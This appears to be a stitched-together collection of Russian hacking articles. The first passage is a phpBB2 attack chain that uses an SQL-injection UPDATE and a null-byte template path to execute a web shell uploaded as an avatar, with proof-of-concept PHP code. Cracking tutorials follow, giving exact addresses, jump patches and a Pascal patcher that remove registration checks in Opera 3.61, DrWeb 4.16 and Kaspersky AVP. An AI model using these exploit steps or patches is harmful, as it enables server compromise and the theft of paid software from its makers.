В исходнике admin/index.php был найден такой инклюд “include(’./’ . $file);”. Выглядит инклюд очень заманчиво, но передать в него любые данные не получится, поскольку в $file, передаются имена файлов и каталогов из “admin/”. А затем происходит проверка preg_match(”/^admin_.*?\.” . $phpEx . “$/”, $file). Рассмотри алгоритм проверки: первым проверяется наличие в начале строки admin_, дальше может идти любое значение, заканчиваться строка должна .php. Действительно, “^” означает начало строки в которой осуществляется поиск и за началом следует “admin_”, отсутсвие утверждения о начале, приведет к тому, что “admin_” сможет находится везде, что приведет к подключению файла с именем “mySTRING_admin_.php”. “$” утверждает об окончании строки (или множества строк). На конце строки должен находится php. Без данного утверждения preg_match возвращал бы true даже в том случае, если имя файла было бы “admin_.php.mySTRING” . В принципе, существование директории “admin_.php” вызовет ошибку в работе скрипта. Можно было бы, добавить проверку на не директорию и не ссылку. Так как единственная возможность выполнить include с вредоносным кодом это записать этот файл в директорию “phpBB2/admin”, то я думаю следует ограничить эту директорию правами только чтение и запуск.
Так же в “faq.php” замечен интересный инклюд
include($phpbb_root_path . ‘language/lang_’ . $board_config['default_lang']
. ‘/’ . $lang_file . ‘.’ . $phpEx);
$lang_file определятся однозначно либо как lang_bbcode, либо lang_faq . Остается переменная $board_config['default_lang']. Нужно проверить существует ли возможность ее перезаписи.
В common.php так определяется $board_config:
$sql = “SELECT *
FROM ” . CONFIG_TABLE;
if( !($result = $db->sql_query($sql)) )
{
message_die(CRITICAL_ERROR, “Could not query config information”
, “”, __LINE__, __FILE__, $sql);
}
while ( $row = $db->sql_fetchrow($result) )
{
$board_config[$row['config_name']] = $row['config_value'];
}
То есть, если существует возможность SQL инъекции, то нападающий сможет изменить значение в таблице, тем самым установив значение $board_config['default_lang'], например, на файл аватара. Скрипт faq.php обламывает такие попытки функцией init_userprefs (includes/functions.php). В этой фунции есть проверка basename’ом. В связи с тем, что basename отсечет все попытки прорваться в другие каталоги с помощью конструкций вида /../../, то можно указать на файл находящийся в language и начинающийся lang_ и заканчивающийся “\x0″.
Как говорилось выше в функции init_userprefs происходит вызов basename($board_config['default_lang']), затем полученный результат передается в $default_lang, проверяется наличие файла для инклюда, если файл не существует, то $default_lang становится равным “english”. А перед вызовом include, $board_config['default_lang'] приравнивается $default_lang. В функции setup_style есть вот такое подключение файла
($phpbb_root_path . $template_path
. $template_name . ‘/’ . $template_name . ‘.cfg’)
“$template_path” определяется как ‘templates/’ и с этим ничего нельзя сделать, но остается “$template_name”. В “$template_name” передаются данные из SQL запроса $row['template_name']. Значит при осуществлении SQL инъекции можно будет передать сюда все, что угодно. После инициализации переменной “$template_name” происходит вызов функции из класса Template, параметры, которые в неё передаются – ($phpbb_root_path . $template_path . $template_name). Затем проверяется значение, которое возвратила функция, а она возвращает ID объекта. И если посмотреть на функцию, то видно, что ей безразлично какие параметры передаются. А потому проверка расположенная перед инклюдом проходится спокойно. Создайте файл hack.php в папке includes и поместите туда такой код:
$phpbb_root_path = "./../";
$template_path = 'templates/';
$template_name = "../images/avatars/shell.jpg\x0";
include ("./template.php");
$template = new Template($phpbb_root_path . $template_path . $template_name);
if ( $template )
{
@include($phpbb_root_path . $template_path
. $template_name . '/' . $template_name . '.cfg');
}
?>
Видим, что оболочка, загруженная под видом аватара, запускается. Теперь найдем вызов функции “setup_style” в функции “init_userprefs”, так как я использовал установленный без различных модификаций и стилей форум, то я перед вызовом setup_style($board_config['default_style']) ставлю echo $board_config['default_style']; и получаю 1. Просмотрев SQL запрос на получение данных составляем запрос, который должен быть осуществлен за счет SQL инъекции “UPDATE phpbb_themes SET template_name=/’../images/avatars/shell.jpg\x0′ WHERE themes_id = 1;
Инзменив таким образом $template_name мы получаем возможность загрузить вместо стиля по умолчанию наш скрипт, загруженный как аватар. Данная уязвимость работает (скорее всего) на всех версиях phpBB2 (я проверил на последней 2.0.21 и 2.0.10). Внеся такие изменения попробуйте теперь загрузить главную страницу и вы получите запуск “shell.jpg”.
Осталась функция message_die
function message_die – $phpbb_root_path . ‘language/lang_’
. $board_config['default_lang'] . ‘/lang_main.’.$phpEx
Известно, что $board_config['default_lang'] в функции не изменяется, что можно переписать эту переменную SQL инъекцией. Задача найти вызов функции, где перед ее вызовом не объявляется константа HEADER_INC и первым параметром не передается CRITICAL_ERROR, а так же не вызывается перед message_die функция init_userprefs.
И это уже задача, твоя, читатель
Все нижесказанное, помеченное *, является моими советами в дизассемблировании в среде WinDasm.
Сколько я не лазил в этой проге, не нашел, где генерируется рег. ключ, поэтому не отчаявшись (самое главное! никогда не бросать начатое!), я решил не обойти саму защиту, а сделать так, чтобы прога сама зарегистрировалась (хе-хе).
Ломать будем в WinDasm v8.93, т.к. я считаю маловато про WinDasm в этих статьях сказано, а ведь
такая вещица классная, многие с нее начинали. Многого знать не надо ну кроме базисов, вроде основные в статье Dr.Golova описаны.
TOOLZ:
WinDasm 8.93, Hiew 6.11, Far (или NC), ну и самаOpera 3.61
Ну, вернемся к нашим бар.. Opera.
Заходим в браузер… Мда непорядок, первое, что бросается в глаза – это “unregistered” вверху экрана, да и еще, если успели заметить, при загрузке идет Registered to : unregistered. Вот и начнем отсюда. Выходим из проги, заходим в Far( NC или что там у вас), в директории Opera, копируем файл opera.exe в opera.xxx и opera.w32
*Я советую использовать именно эти расширения, т.к. они являются наиболее удобными, где *.xxx – backup; *.w32 – этот файл мы будем дизассемблировать; а в opera.exe будем с помощью HIEW вносить изменения. Т.е. если что-нибудь запорем, то дорога в “copy opera.xxx opera.exe”
)
Так, выходим из Far по Alt+Tab, т.к. он нам еще пригодится. Заходим в WinDasm и дизассемблируем файл opera.w32…………………..
))))))))))))))
*Следующий шаг – это просмотр SDR (т.е. String Data Reference), в меню Refs – последний пункт.
Здесь то мы и должны найти наш “unregistered”.
*Если прога объемная, как в этом случае с Оперой, то удобно будет скопировать все references кнопкой Copy All.
Ура нашли: String Resource ID=21428: ” (unregistered)”, чтобы попасть в это место достаточно дважды щелкнуть по строке.
*ОЧЕНЬ ВАЖНО! В проге может быть не одно это место, а несколько, так что щелкайте несколько раз, и смотрите на адреса.
Смотрим первое совпадение:
* Referenced by a (U)nconditional or (C)onditional Jump at Address: <- Первый переход
|:0045F8EF(C)
|
:0045F91F 381D58F55200 cmp byte ptr [0052F558], bl
:0045F925 7535 jne 0045F95C
:0045F927 BE80000000 mov esi, 00000080
:0045F92C 56 push esi
:0045F92D 57 push edi
* Possible Reference to String Resource ID=20092: "Opera 3.61"
|
:0045F92E 687C4E0000 push 00004E7C
:0045F933 8BCD mov ecx, ebp
:0045F935 E8850D0000 call 004606BF
:0045F93A 57 push edi
:0045F93B E8E0A60800 call 004EA020
:0045F940 59 pop ecx
:0045F941 2BF0 sub esi, eax
:0045F943 A30CF55200 mov dword ptr [0052F50C], eax
:0045F948 56 push esi
:0045F949 8D8058F55200 lea eax, dword ptr [eax+0052F558]
:0045F94F 50 push eax
* Possible Reference to String Resource ID=21428: " (unregistered)" <---- Это наш
"unregistered"
|
:0045F950 68B4530000 push 000053B4
:0045F955 8BCD mov ecx, ebp
:0045F957 E8630D0000 call 004606BF
************ ТОЖЕ ВАЖНО! ************
Q: Почему в WinDasm все пишут основные строчки внизу, а не вверху, это неудобно!
A: Т.к. Программа идет сверху вниз
, а нам нужно посмотреть ЧТО вызвало этот "unregistered"
Q: До какого момента мы смотрим вверх, где останавливаться???
A: Обычно в WinDasm идем вверх до первого jne/je ; jl/jbl; test; cmp ... или до Reference Jump.
***************************************
На данном этапе необходимо остановиться и задуматься, а то ли это место, ведь посмотрите: есть и "unregistered", и "Opera 3.61", и переходов между ними нет, а может это всего лишь: "Opera 3.61 (unregistered)" в главном окне вверху... ИСТИННУ ГЛАГОЛИШЬ.
Смотрим другой адрес (надеюсь, еще не забыли то правило, насчет нескольких мест):
* Possible Reference to Dialog: SPLASH, CONTROL_ID:2B27, "Opera 3.60" <--- Странно,
3.60, что разработчики по этому поводу думают?
|
:00495F64 68272B0000 push 00002B27
:00495F69 FF7508 push [ebp+08]
:00495F6C FFD6 call esi
:00495F6E 8D8540FBFFFF lea eax, dword ptr [ebp+FFFFFB40]
:00495F74 50 push eax
* Possible Reference to Dialog: SPLASH, CONTROL_ID:2B25, " "
|
:00495F75 68252B0000 push 00002B25
:00495F7A FF7508 push [ebp+08]
:00495F7D FFD6 call esi
:00495F7F 8D856CFCFFFF lea eax, dword ptr [ebp+FFFFFC6C]
:00495F85 50 push eax
* Possible Reference to Dialog: SPLASH, CONTROL_ID:2B26, " "
|
:00495F86 68262B0000 push 00002B26
:00495F8B FF7508 push [ebp+08]
:00495F8E FFD6 call esi
:00495F90 393D64005300 cmp dword ptr [00530064], edi <---Сравнивание с edi
:00495F96 752A jne 00495FC2 <--- "ПЕРвЫй переХод"
:00495F98 68FF000000 push 000000FF
:00495F9D 8D85C4FEFFFF lea eax, dword ptr [ebp+FFFFFEC4]
:00495FA3 50 push eax
* Possible Reference to String Resource ID=21428: " (unregistered)" <--- Вот ОН наш
REAL unreg.
|
:00495FA4 68B4530000 push 000053B4
:00495FA9 FF3570FA5200 push dword ptr [0052FA70]
:00495FAF FFD3 call ebx
:00495FB1 8D85C5FEFFFF lea eax, dword ptr [ebp+FFFFFEC5]
:00495FB7 50 push eax
МДАСССССС, спокуха, это все фигня на самом деле.
ТАК, как всегда, ловим первый попавшийся переход, вот и он:
:00495F90 393D64005300 cmp dword ptr [00530064], edi
:00495F96 752A jne 00495FC2 <--- "ПЕРвЫй переХод"
*Je/Jne - Unconditional(jump if equal)/Conditional(jump if not equal); здесь важно понять эти действия: "Если [00530064] НЕРАВНО edi, то перейти на ПРАВИЛЬНУЮ РЕГИСТРАЦИЮ". (Действительно запутывающе).
Смотрите, до него идет сравнивание значения в [00530064] с edi. Ну, поняли? Всего лишь осталось сделать так, чтобы в этом значении И БЫЛО ЭТО edi !!!
Давайте снова остановимся и задумаемся, каким образом сравнивается значение из [00530064] с edi? Ведь для того, чтобы сравнить что-либо, нужно поместить туда что-нибудь, А КАК ПОМЕСТИТЬ?
Чтобы найти, место, где помещается определенное значение в [00530064], сделаем так: в WinDasm жмем поиск и печатаем, почти ничего не изменяя: mov dword ptr [00530064]
Согласитесь, логично, если там cmp, то здесь mov (*ЧИТАТЬ СТАТЬЮ Dr.Golova ОБ ОСНОВАХ АССЕМБЛЕРА !)
И WinDasm найдет нам всего лишь одну (в случае с Оперой) ссылку, туда и пойдем:
:00495E1F E8C3630200 call 004BC1E7
:00495E24 3BC7 cmp eax, edi
:00495E26 A364005300 mov dword ptr [00530064], eax <--- То, что искали.
ЧТО отсюда можно извлечь? Самое главное: все происходит в
:00495E1F E8C3630200 call 004BC1E7
Идем в эту функцию:
:004BC1E7 8D8138010000 lea eax, dword ptr [ecx+00000138]
:004BC1ED 85C0 test eax, eax
:004BC1EF 741A je 004BC20B <--- 1 Переход.
:004BC1F1 803800 cmp byte ptr [eax], 00
:004BC1F4 7415 je 004BC20B <--- 2 Переход.
:004BC1F6 81C190030000 add ecx, 00000390
:004BC1FC 51 push ecx
:004BC1FD E8A647FDFF call 004909A8
:004BC202 85C0 test eax, eax
:004BC204 59 pop ecx
:004BC205 7404 je 004BC20B <--- 3 Переход.
:004BC207 6A01 push 00000001 <--- Еденицу на стек.
:004BC209 58 pop eax <--- Снимаем еденицу из стека в еах.
:004BC20A C3 ret
* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004BC1EF(C), :004BC1F4(C), :004BC205(C)
|
:004BC20B 33C0 xor eax, eax
:004BC20D C3 ret
Видим чудеса: 3 перехода на обнуление и выход да еще видим сравнение eax с 0 и снова выход, что же здесь думать-то, если после последнего перехода есть установка этой самой единицы!!!
Нус, осталось всего-то с первого перехода прыгнуть на установку единицы!
Теперь убеждаемся, что в WinDasm строка установлена на 4BC1EF (горит зеленым), потом на 4BC207 и смотрим внизу на смещение (Offset), это BC1EF и BC207.
*Для использования в HIEW смещения (offsets) из WinDasm берем БЕЗ последней h (например "BC1EFh" из WinDasm) для использования в HIEW возьмем только "BC1EF".
Переходим в Far Manager по Alt-Tab (remember the very begining?), и "hiew opera.exe", там переходим в F4 > Decode Mode, потом F5 > Search BC1EF и наконец редактируем: жмем F3 (Edit), потом F2 (Asm) и пишем: jmps BC207 (вместо je…), и наконец жмем F9 (Update), чтобы сохранить изменения.
(* Прим. Dr.Golova: Можно сделать иначе, поскольку HIEW умеет преводить виртуальные адреса из WinDasm в реальные файловые. Мы сразу наберем адрес 4BC1EF из WinDasm в окошке “GoTo” HIEW’a (те же самые F4 > DecodeMode > F5), только его надо дополнить точкой и нулями до вида “.004BC1EF”. Попадем в то же самое место. Как проще – решать вам, но так по крайней мере не надо смотреть offset. *)
THAT’s All folks
)))
Вот мой патч на ПАСКАЛЕ:
——————————cut——————————–
program opera161_crack;
Const A: Array[1..2] of Record
A : Longint;
B : Byte;
End = ( (A : $BC1EF; B : $EB),
(A : $BC1F0; B : $16) );
Var Ch : Char;
I : Byte;
F : File;
Begin
Writeln(’Kondor’’s patch’, #10#13, ‘Crack for Opera v1.61′);
Assign(F, ‘OPERA.EXE’);
Reset(F, 1);
If IOResult <> 0 then
begin
Writeln(’File not found!’);
Halt(1);
end;
For I := 1 to 2 do
Begin
Seek(F, A[I].A);
Ch := Char(A[I].B);
BlockWrite(F, Ch, 1);
End;
Writeln(#10#13, ‘File successfully patched!’);
End.
конецформыначалоформы30 января в свет появилась новая версия DrWeb – 4.16. Недавно я слил его себе и установил на винт.
Запустил, и обнаружил, что программа является ознакомительной версией и без регистрационного ключа имеет функциональные ограничения, в том числе одни, на мой взгляд, из самых важных – проверка архивов, включение опции “эвристический анализ” и лечение зараженных объектов, о чем в свою очередь и предупреждает, выводя сообщение при начальной загрузке.
Вас не раздражает вывод подобных сообщений, каждый раз при новой загрузке ? Меня безумно.
Поэтому я отправился на кухню, заварил себе кофе ( благородный напиток ), запасся табаком ( время то уже было 2 ночи ) и решил подправить прогу и включить все и вся.
Итак, если у вас все нужное под рукой, приступим.
А что нам надо :
SoftIce – любой версии
Hiew – тоже любой версии или любой другой правщик файлов
WDasm or IDA Pro
Где найти DrWeb 4.16 :
Для начала попробуем убрать сообщение об ознакомительной версии. ( Сразу скажу, что может и есть более короткий путь для изменения кода, но я опишу тот, по которому прошел сам).
Для этого залезаем в отладчик ( Ctl+D ) и ставим брекпоинт на сообщение -
bpx MessageBoxA
bpx MessageBoxExA
Запускаем прогу и что мы видим? Айс вывалился на ” MessageBoxA”. F12 – выходим из айса, ok – обратно в айс, в вызывающую функцию. Стираем все брекпоинты – bc * и смотрим код.
:0044EE74 FF7778 push [edi+78]
:0044EE77 FF7508 push [ebp+08]
:0044EE7A 50 push eax
* Reference To: USER32.MessageBoxA, Ord:0195h
:0044EE7B FF1534AA4700 Call dword ptr [0047AA34]
——–> вывод сообщения
:0044EE81 891E mov dword ptr [esi], ebx
:0044EE83 837DFC00 cmp dword ptr [ebp-04], 00000000
:0044EE87 89450C mov dword ptr [ebp+0C], eax
Ничего интересного, кроме каких-то проверок и подготовки самого сообщения для вывода на экран.Нажимаем опять F12 и опять попадаем в вызывающую процедуру.
:0044EEBC 8B10 mov edx, dword ptr [eax]
:0044EEBE FF74240C push [esp+0C]
:0044EEC2 FF9294000000 call dword ptr [edx+00000094]
————> процедура, описанная выше
:0044EEC8 C20C00 ret 000C
——–> сюда возвращается айс.
Теперь F10 и снова попадаем в вызывающую процедуру.
:00403ED9 6A30 push 00000030
:00403EDB 50 push eax
:00403EDC E8C9AF0400 call 0044EEAA
:00403EE1 8D4C2418 lea ecx, dword ptr [esp+18]
—————-> сюда мы вернулись
:00403EE5 C684240402000007 mov byte ptr [esp+00000204], 07
Опять смотрим код чуть-чуть выше места, куда нас вернул айс. И по адресу 00403E82 находим переход, обходящий сообщение:
:00403E71 3BF3 cmp esi, ebx
:00403E73 750F jne 00403E84
:00403E75 A194524700 mov eax, dword ptr [00475294]
:00403E7A 8A8818020000 mov cl, byte ptr [eax+00000218]
:00403E80 84C9 test cl, cl
:00403E82 746E je 00403EF2
——————> Обходим сообщение
:00403E84 8D4C2418 lea ecx, dword ptr [esp+18]
:00403E88 E825610400 call 00449FB2
Но если быть более внимательным, то можно увидеть, что на 15 байт выше есть переход, который может нам испортить все. Он находится по адресу 00403E73.
Поэтому именно и на него мы ставим очередной брекпоинт. Загружаем заново программу и видим, что отладчик вывалился на нашем брекпоинте. Условие перехода – если регистры ESI и EBX не равны. Что мы имеем ? Флаг ЗЕРО опущен, потому-что в EBX – 0 , а в ESI – 4. Этот переход все нам и портит. Поэтому делаем условие не выполнимо. Есть 3 варианта :
1. меняем CMP ESI, EBX на CMP ESI, ESI или CMP EBX, EBX
2. делаем переход на следующую строчку ( JNE 00403E84 меняем на JNE 00403E75 ) – что я и сделал
3. забиваем переход командой NOP
Далее трассируем и видим, что по адресу 00403E7A в CL копируется 0 и условие нужного нам перехода положительное. Нажимаем F5 и …….. Сообщение исчезло. Первый этап выполнен. Но чтобы быть точно уверенным, можно и здесь поставить безусловный переход. Продолжаем … Лезим в DrWeb, в настройки, и пробуем включить опцию скажем ” Эвристический анализ”. Ну как вышло ? Не хочет он совсем включатся …..
( Опять ставим брекпоинт на MessageBoxA.
bpx MessageBoxA
bpx MessageBoxExA
F5 – выходим из отладчика и снова пробуем включить эту опцию. Выскакивает айс, –> F12, –> messagebox, –> OK, –> мы в айсе, в модуле DrWeb32w.exe.
Все та же функция для сообщения (0044EE7B ), все тот же выход на команду RET по адресу 0044EEC8 ( см. выше ). Еще раз F10 и мы выходим в нужные нам просторы ……
) Снова и снова прокручиваем чуть-чуть вверх и смотрим код. Вот вся процедура с момента входа в неё
:0041A970 A194524700 mov eax, dword ptr [00475294]
:0041A975 56 push esi
:0041A976 8BF1 mov esi, ecx
:0041A978 8A8820020000 mov cl, byte ptr [eax+00000220]
:0041A97E 84C9 test cl, cl
—————————–> проверка условия перехода
:0041A980 7521 jne 0041A9A3
—————————> нужный нам переход
:0041A982 8B0D18524700 mov ecx, dword ptr [00475218]
:0041A988 6A00 push 00000000
:0041A98A 6A30 push 00000030
:0041A98C 8B91B4060000 mov edx, dword ptr [ecx+000006B4]
:0041A992 52 push edx
:0041A993 E812450300 call 0044EEAA
—————–> MessageBox о недоступной опции
:0041A998 6A00 push 00000000
:0041A99A 8BCE mov ecx, esi
:0041A99C E8A0E60200 call 00449041
:0041A9A1 5E pop esi
:0041A9A2 C3 ret
Можно конечно было бы по адресу 0041A980 поставить безусловный переход, выйти из функции, посмотреть результат, и изменить еще переход или переходы, что бы все включилось, но я пошел по другому пути. Ведь без регистрационного ключа очень много опций недоступно, поэтому каждая может иметь подобный участок проверки и вывода сообщения. Менять каждую долго, хотя здесь кому как нравится ……Итак, я сделал вот как … По адресу 0041A978 в регистр CL заносится число из стека с адресом [eax+00000220] ….
Ставим брекпоинт на строчку -
0041A976 8BF1 mov esi, ecx
и снова пробуем включить опцию …. Выскакивает Айс, мы делаем шаг на следующую строчку ( F10 ) и смотрим адрес, из которого происходит занос числа в CL. Это – 0070F298. Адрес этот запомним или лучше запишем …. В дальнейшем наверняка пригодится, если придётся ставить брекпоинт, на участок памяти, по этому адресу …. Теперь попробуем узнать, где и в каком месте программа заносит сюда 0 и при каких условиях….Для начала дизассемблируем файл drweb32w.exe и поищем, нет ли еще где-то в файле строчки – byte ptr [eax+00000220] и не заносится ли где 0 при не выполнении определенных условий…. Включаем поиск и ищем …..Сразу, после первого же нажатия, программа показывает код :
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
:00403B3A(C)
:00403CA3 3BF3 cmp esi, ebx
:00403CA5 7465 je 00403D0C
:00403CA7 8B1594524700 mov edx, dword ptr [00475294]
——–> в EDX адрес
:00403CAD C6821902000000 mov byte ptr [edx+00000219], 00
————-> по адресу из EDX+00000219 занести 0
:00403CB4 A194524700 mov eax, dword ptr [00475294]
———> снова адрес
:00403CB9 C6801A02000000 mov byte ptr [eax+0000021A], 00
—————-> и снова занести 0
:00403CC0 8B0D94524700 mov ecx, dword ptr [00475294]
———–> и так далее …
:00403CC6 C6811B02000000 mov byte ptr [ecx+0000021B], 00
:00403CCD 8B1594524700 mov edx, dword ptr [00475294]
:00403CD3 C6821C02000000 mov byte ptr [edx+0000021C], 00
:00403CDA A194524700 mov eax, dword ptr [00475294]
:00403CDF C6801D02000000 mov byte ptr [eax+0000021D], 00
:00403CE6 8B0D94524700 mov ecx, dword ptr [00475294]
:00403CEC C6811E02000000 mov byte ptr [ecx+0000021E], 00
:00403CF3 8B1594524700 mov edx, dword ptr [00475294]
:00403CF9 C6821F02000000 mov byte ptr [edx+0000021F], 00
:00403D00 A194524700 mov eax, dword ptr [00475294]
:00403D05 C6802002000000 mov byte ptr [eax+00000220], 00
———–> а вот и заносится 0, для дальнейшей проверки на опцию “эвристический анализ”
:00403D05 C6802002000000 mov byte ptr [eax+00000220], 00
:00403D0C 8B0D94524700 mov ecx, dword ptr [00475294]
:00403D12 8A8119020000 mov al, byte ptr [ecx+00000219]
:00403D18 84C0 test al, al
:00403D1A A198454700 mov eax, dword ptr [00474598]
Но нам надо просмотреть все места, поэтому продолжаем поиск … Еще одно место, где есть такая строчка – адрес -0041A978. Ну как знакомое число ? Конечно !!! Это то место, где выполняется проверка, и в зависимости от результата становится доступен или нет “эвристический анализ”. Больше в файле подобных мест нет. Если взять любой другой адрес, скажем 00403CEC, то узнаем, повторив все выше перечисленное, что этот адрес отвечает за возможность “проверки архивов”.
Итак, место, что все нам портит и не дает нормально настроить DrWEB найдено.Теперь записываем адрес ( 00403CAC – на него мы поставим брекпоинт ), и загружаем drweb32w.exe. Далее, как вам угодно, попадите в отладчик и поставьте брекпоинт на 00403CAC.
Выпав при загрузке drweb32w.exe на этом месте, мы увидим, что программа не переходит на следующей строчке по адресу 00403D0C, а продолжает выполнять процедуру, записывая нули по знакомым нам уже адресам. Итак, все, что нам надо было, найдено ! Теперь мы по адресу 00403CA5 делаем безусловный переход ( забиваем командой NOP или меняем на je 00403CA7 ) и далее каждый 00 меняем на 01.
Снимаем все брекпоинты (bc * ) и запускаем программу заново. Лезем в настройки и ………..
WOW ! Все включается и работает на все 100%.Ну чтож, задача решена !!!Запускайте DrWEB 4.16 и принимайтесь искать какой-нибудь Windows CIH,словленный где-то в сети ……:-)) Шутка !!!
Модуль Spider.exe мною не изучался, хотя и имеет точно такие же ограничения без регистрационного ключа, в силу того, чтобы экономить память. Вам также не советую вешать эту штуку в память машины, тем более, если у вас ее мало. Лучше каждый стрёмный файл проверить сканером, и его же запускать скажем раз в неделю на проверку всего винта. Удачи и весёлого времяпровождения !!!
Наверное, всем известен “легендарный” Евгений Касперский и его антивирусный пакет Antiviral Toolkit Pro. Не буду рассматривать его антивирусные свойства – каждый может оценить их сам. Это дело вкуса. В этой статье рассматриваются свойства защиты этого самого AVP. В исследуемой демо-версии отключена возможность лечения зараженных файлов, анализатор кода, проверка архивов и сжатых файлов. Также отсутсвует возможность проверки писем и почтовых баз данных. Скопировать программу можно с сайта Kaspersky Lab.
Инструменты
1.SoftICE 3.23 for Win95
2.Любой шестнадцатиричный редактор файлов
3.IDA Pro версии выше 3.74
Часть 1. Антивирус своими руками
Как я и говорил, для того, чтобы эту программу заставить заработать следует изучить функции Win32 API, связанные с отображением органов управления. Кроме того, сперва всегда следует выяснить, действительно ли перед нами урезанная и бесполезная демо-версия, или это полностью работоспособная программа с отключенными функциями. В данном случае для этого удобно использовать продукт The Customiser фирмы Wanga International.
Для проверки запустим AVP и посмотрим для начала закладку Обьекты. Сразу видно, что программа не проверяет архивы и упакованые исполняемые файлы. Выбрать эти пункты нельзя – они отключены (disabled) . Запустим The Customiser (который, кстати тоже защищен – возможно появится статья и о нем). Выберем Edit Windows … а там пометим Enable и нажмем кнопку ON. Теперь появившимся уродливым курсором щелкнем на затененном пункте Упакованные Файлы. Неожиданно он перестанет быть затененным и станет обычным, нормальным пунктом. То же проделайте со следующим пунктом (архивы). Теперь отключите Customiser и выберите эти возврещенные к жизни опции. Запустите антивирус, и убедитесь, что теперь он проверяет и архивы. Остановите проверку. Посмотрите на закладку Обьекты. Требуемые опции опять отключены. Ничего удивительного, с помощью Customiser’а мы лишь на время изменили их состояние.
Теперь, убедившись в том, что программа имеет требуемую функциональность продолжим исследование программы. Некоторые скажут, что мы проверили не все. Например мы не проверяли закладку Действия. Особенно пункт Лечить без запроса. Скажу сразу, лично я все это проверил. Попробуйте и Вы, поработайте немного самостоятельно.
Когда сомнения Вас покинут и Вы окончательно убедитесь, что программа в порядке, следует приниматься за более серьезные дела. Например запустить IDA Pro и дизассемблировать файл avp32.exe. Пока он дизассемблируется, откройте Win32 API Help и найдите функцию, отвечающую за состояние органов управления. Для тех, кто не знает такой функции, скажу – это EnableWindow. В файле помощи по API-функциям (Microsoft) эта функция описана так:
BOOL EnableWindow(
HWND hWnd, // указатель на окно (орган управления)
BOOL bEnable // флаг возможности ввода)
В зависимости от значения bEnable компонент может быть в состоянии Включен/Отключен (Enabled/Disabled). В состоянии Отключен орган управления игнорирует сообщения, поступающие от мыши и клавиатуры. Нам требуется обратное. Если дизассемблирование закончилось, поищите, откуда вызывается функция EnableWindow. Таких мест в программе множество. Кстати, обратите внимание на типичные последовательности вызовов – при работе над другими программами с аналогичной защитой Вам это пригодится. Типичная последовательность такова:
1.Вызывается функция GetDlgItem [в качестве аргументов - указатель на окно диалога и идентификатор органа управления]. Функция возвращает указатель на этот орган управления.
2.Вызывается функция EnableWindow [в качестве аргументов - указатель на орган управления и флаг bEnable (0 - Отключен, 1 - Включен)]. Функция делает орган управления неактивным (т.к. bEnable = 0).
Теперь у вас есть вся информация, необходимая для взлома. Как именно это сделать – Вы должны решать сами. Тем более, что взлом можно осуществить, минимум, пятью разными способами. Перечислю некоторые из них:
1.Найти функцию, в которой отключаются требуемые пункты меню, и сделать так, чтобы они включились. Cводится к поиску EnableWindow и замене предшествующей ей команды push 00 на push 01. Подсказка: так как при отключении требуется заносить в стек 0, в этой программе обнуляется регистр ebx и выполняется команда push ebx. Все, что требуется – записать в ebx 1. Преимущества – быстрота. Недостатки – недостаточно корректный взлом (об этом позже).
2.Исследовать алгоритм, проверяющий ключевой файл avp.key, и попытаться на основе этого алгоритма вычислить, какая информация в avp.key должна быть. Преимущества – в случае успеха вы становитесь “зарегистрированным” пользователем этой, а возможно и будущих версий программы без всяких побочных эффектов. Недостатки – медленно и сложно.
Есть еще и другие варианты. Вы можете выбрать любой из них.
После того, как Вы все это сделали, осталась небольшая проблемка – при запуске появляется окно с напоминанием о том, что программу необходимо зарегистрировать. Решение: создайте в директории, в которой установлен AVP, файл avp.key с любым содержанием и все проблемы исчезнут.
Часть 2. Монитор, и как с ним бороться
Вторая важная часть системы AVP – это монитор. Он проверяет все файлы, которые открываются во время вашей работы, и если обнаруживается вирус, то имеется возможность предварительно его (вирус) обезвредить и продолжить работу. Лично я монитором не пользовался и не собираюсь – лучше один раз проверить, то что приносишь, чем постоянно сидеть под наблюдением, результатом чего является снижение производительности. Но надо довести начатое дело до конца. Получить рабочую версия AVP из нерабочей демо-версии. Вообще-то, ничего нового здесь нет. Функциональность монитора урезана точно так же, как и антивируса. Я сделал так. С помощью Borland Resource Workshop открыл файл avpm.exe и посмотрел на ресурсы. В данном случае меня интересовали окна диалогов. Например ресурс с номером 113, соответсвующий окну Действия. Дважды щелкнув на нем, попадаем в окно редактировани диалога. Но редактировать ничего не будем. Двойным щелчком на RadioButton с текстом Disinifect Automatically откроем окно Button Style. В этом окне содержится некоторая необходимая информация. А именно Control ID . Для упомянутого элемента это значение равно 406h. Запомните это число – оно пригодится. Откроем IDA Pro и запустим дизассемблирование файла AVPM.EXE(если вы сами этого еще не сделали). Нажмем Alt+T для поиска текста и зададим 406h.
После нескольких попыток мы обнаружим такой участок кода:
loc_4023CE: ; CODE XREF: .text:004023C0
; .text:004023C7
xor ebx, ebx
cmp dword_4122EC, ebx
jz short loc_40240E
push ebx
push 405h ; ID Number нашего компонента
push dword ptr [ebp+8]
call esi
push eax
call ds:EnableWindow ; Enable/disable mouse and keyboard input
push ebx
push 406h ; ID Number нашего компонента
push dword ptr [ebp+8]
call esi
push eax
call ds:EnableWindow ; Enable/disable mouse and keyboard input
push ebx
push 407h ; ID Number нашего компонента
push dword ptr [ebp+8]
call esi
push eax
call ds:EnableWindow ; Enable/disable mouse and keyboard input
loc_40240E:
Надеюсь, всем ясно, что делает этот код. В общих чертах – обнуляется регистр EBX, сравнивается с некоторой переменной. В результате сравнение осуществляется переход на ту часть программы, где блокируются соответсвующие визуальные элементы(сторого говоря, не осуществляется переход на ту часть программы, котрая продолжает работу без блокировки). Вариантов взлома – множество.
Я вданном случае заменил переход jz short loc_40240E на jmp short loc_40240E. Для этого следует поменять байт 074h(jz) на 0EBh(jmp).
Самостоятельно изучите листинг программы, найдите соответсвующие инструкции. С помощью IDA внесите изменения там, где посчитаете нужным. Запустите модифицированный файл. Посмотрите, работает ли то,что не работало. Если вы все сделали правильно, то вы должны получить возможность выбора лечения зараженных файлов. Остается проделать тот же трюк с закладкой Обьекты и Настройки. Это вы вполне можете сделать сами. Так же, в качестве упражения уберите собщение о том, что отсутсвует ключевой файл(наличие этого собщения наводит на мысли – для антивируса достаточно создать файл AVP.KEY как он сразу перестает выбрасывать это же сообщение, хотя и работать от этого не начинает. Для монитора этот номер не проходит. Может монитор все-таки использует информацию из ключевого файла – проверьте сами). Побочным эффектом данного метода является то, что устанавливаемые опции не сохраняются, и в следующей сессии их приходится устанавливать еще раз. Эта проблема тоже имеет решение. Но мне хватило того, что сделал себе рабочую версию.
